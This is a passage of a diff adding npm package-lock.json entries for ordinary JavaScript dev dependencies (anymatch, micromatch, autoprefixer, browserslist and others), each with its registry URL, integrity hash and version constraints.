"2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "dependencies": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + } + }, + "node_modules/anymatch/node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/anymatch/node_modules/normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==", + "dev": true, + "dependencies": { + "remove-trailing-separator": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/append-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/append-buffer/-/append-buffer-1.0.2.tgz", + "integrity": "sha512-WLbYiXzD3y/ATLZFufV/rZvWdZOs+Z/+5v1rBZ463Jn398pa6kcde27cvozYnBoxXblGZTFfoPpsaEw0orU5BA==", + "dev": true, + "dependencies": { + "buffer-equal": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/append-transform": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/append-transform/-/append-transform-2.0.0.tgz", + "integrity": "sha512-7yeyCEurROLQJFv5Xj4lEGTy0borxepjFv1g22oAdqFu//SrAlDl1O1Nxx15SH1RoliUml6p8dwJW9jvZughhg==", + "dev": true, + "dependencies": { + "default-require-extensions": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/archy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", + "integrity": "sha512-Xg+9RwCg/0p32teKdGMPTPnVXKD0w3DfHnFTficozsAgsvq2XenPJq/MYpzzQ/v8zrOyJn6Ds39VA4JIDwFfqw==", + "dev": true + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-filter": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/arr-filter/-/arr-filter-1.1.2.tgz", + "integrity": "sha512-A2BETWCqhsecSvCkWAeVBFLH6sXEUGASuzkpjL3GR1SlL/PWL6M3J8EAAld2Uubmh39tvkJTqC9LeLHCUKmFXA==", + "dev": true, + "dependencies": { + "make-iterator": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-flatten": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/arr-map/-/arr-map-2.0.2.tgz", + "integrity": "sha512-tVqVTHt+Q5Xb09qRkbu+DidW1yYzz5izWS2Xm2yFm7qJnmUfz4HPzNxbHkdRJbz2lrqI7S+z17xNYdFcBBO8Hw==", + "dev": true, + "dependencies": { + "make-iterator": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-each": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz", + "integrity": "sha512-zHjL5SZa68hkKHBFBK6DJCTtr9sfTCPCaph/L7tMSLcTFgy+zX7E+6q5UArbtOtMBCtxdICpfTCspRse+ywyXA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-from": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/array-from/-/array-from-2.1.1.tgz", + "integrity": "sha512-GQTc6Uupx1FCavi5mPzBvVT7nEOeWMmUA9P95wpfpW1XwMSKs+KaymD5C2Up7KAUKg/mYwbsUYzdZWcoajlNZg==", + "dev": true + }, + "node_modules/array-initial": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/array-initial/-/array-initial-1.1.0.tgz", + "integrity": "sha512-BC4Yl89vneCYfpLrs5JU2aAu9/a+xWbeKhvISg9PT7eWFB9UlRvI+rKEtk6mgxWr3dSkk9gQ8hCrdqt06NXPdw==", + "dev": true, + "dependencies": { + "array-slice": "^1.0.0", + "is-number": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-initial/node_modules/is-number": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", + "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-last": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/array-last/-/array-last-1.3.0.tgz", + "integrity": "sha512-eOCut5rXlI6aCOS7Z7kCplKRKyiFQ6dHFBem4PwlwKeNFk2/XxTrhRh5T9PyaEWGy/NHTZWbY+nsZlNFJu9rYg==", + "dev": true, + "dependencies": { + "is-number": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-last/node_modules/is-number": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", + "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-slice": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz", + "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-sort": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/array-sort/-/array-sort-1.0.0.tgz", + "integrity": "sha512-ihLeJkonmdiAsD7vpgN3CRcx2J2S0TiYW+IS/5zHBI7mKUq3ySvBdzzBfD236ubDBQFiiyG3SWCPc+msQ9KoYg==", + "dev": true, + "dependencies": { + "default-compare": "^1.0.0", + "get-value": "^2.0.6", + "kind-of": "^5.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-sort/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", + "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/async-done": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/async-done/-/async-done-1.3.2.tgz", + "integrity": "sha512-uYkTP8dw2og1tu1nmza1n1CMW0qb8gWWlwqMmLb7MhBVs4BXrFziT6HXUd+/RlRA/i4H9AkofYloUbs1fwMqlw==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.2", + "process-nextick-args": "^2.0.0", + "stream-exhaust": "^1.0.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/async-each": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.6.tgz", + "integrity": "sha512-c646jH1avxr+aVpndVMeAfYw7wAa6idufrlN3LPA4PmKS0QEGp6PIC9nwz0WQkkvBGAMEki3pFdtxaF39J9vvg==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ] + }, + "node_modules/async-settle": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-settle/-/async-settle-1.0.0.tgz", + "integrity": "sha512-VPXfB4Vk49z1LHHodrEQ6Xf7W4gg1w0dAPROHngx7qgDjqmIQ+fXmwgGXTW/ITLai0YLSvWepJOP9EVpMnEAcw==", + "dev": true, + "dependencies": { + "async-done": "^1.2.2" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "dev": true + }, + "node_modules/atob": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", + "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", + "dev": true, + "bin": { + "atob": "bin/atob.js" + }, + "engines": { + "node": ">= 4.5.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.14", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.14.tgz", + "integrity": "sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + } + ], + "dependencies": { + "browserslist": "^4.21.5", + "caniuse-lite": "^1.0.30001464", + "fraction.js": "^4.2.0", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.3.tgz", + "integrity": "sha512-NDZ0auNRzmAfE1oDDPW2JhzIMXUk+FFe2ICejmt5T4ocKgiQx3e0VCRx9NCAidcMtL2RUZaWtXnmjTCkx0tcbA==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.2.4", + "semver": "^6.1.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.5.tgz", + "integrity": "sha512-ninF5MQNwAX9Z7c9ED+H2pGt1mXdP4TqzlHKyPIYmJIYz0N+++uwdM7RnJukklhzJ54Q84vA4ZJkgs7lu5vqcw==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.2.2", + "core-js-compat": "^3.16.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.3.tgz", + "integrity": "sha512-JVE78oRZPKFIeUqFGrSORNzQnrDwZR16oiWeGM8ZyjBn2XAT5OjP+wXx5ESuo33nUsFUEJYjtklnsKbxW5L+7g==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.2.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/bach": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/bach/-/bach-1.2.0.tgz", + "integrity": "sha512-bZOOfCb3gXBXbTFXq3OZtGR88LwGeJvzu6szttaIzymOTS4ZttBNOWSv7aLZja2EMycKtRYV0Oa8SNKH/zkxvg==", + "dev": true, + "dependencies": { + "arr-filter": "^1.1.1", + "arr-flatten": "^1.0.1", + "arr-map": "^2.0.0", + "array-each": "^1.0.0", + "array-initial": "^1.0.0", + "array-last": "^1.1.1", + "async-done": "^1.2.2", + "async-settle": "^1.0.0", + "now-and-later": "^2.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/base": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", + "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", + "dev": true, + "dependencies": { + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/binary-extensions": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz", + "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "dev": true, + "optional": true, + "dependencies": { + "file-uri-to-path": "1.0.0" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "dependencies": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==", + "dev": true + }, + "node_modules/browser-stdout": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", + "dev": true + }, + "node_modules/browserslist": { + "version": "4.21.9", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.9.tgz", + "integrity": "sha512-M0MFoZzbUrRU4KNfCrDLnvyE7gub+peetoTid3TBIqtunaDJyXlwhakT+/VkvSXcfIzFfK/nkCs4nmyTmxdNSg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001503", + "electron-to-chromium": "^1.4.431", + "node-releases": "^2.0.12", + "update-browserslist-db": "^1.0.11" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/buffer-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-1.0.1.tgz", + "integrity": "sha512-QoV3ptgEaQpvVwbXdSO39iqPQTCxSF7A5U99AxbHYqUdCizL/lH2Z0A2y6nbZucxMEOtNyZfG2s6gsVugGpKkg==", + "dev": true, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", + "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", + "dev": true, + "dependencies": { + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/caching-transform": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/caching-transform/-/caching-transform-4.0.0.tgz", + "integrity": "sha512-kpqOvwXnjjN44D89K5ccQC+RUrsy7jB/XLlRrx0D7/2HNcTPqzsb6XgYoErwko6QsV184CA2YgS1fxDiiDZMWA==", + "dev": true, + "dependencies": { + "hasha": "^5.0.0", + "make-dir": "^3.0.0", + "package-hash": "^4.0.0", + "write-file-atomic": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/caching-transform/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz", + "integrity": "sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==", + 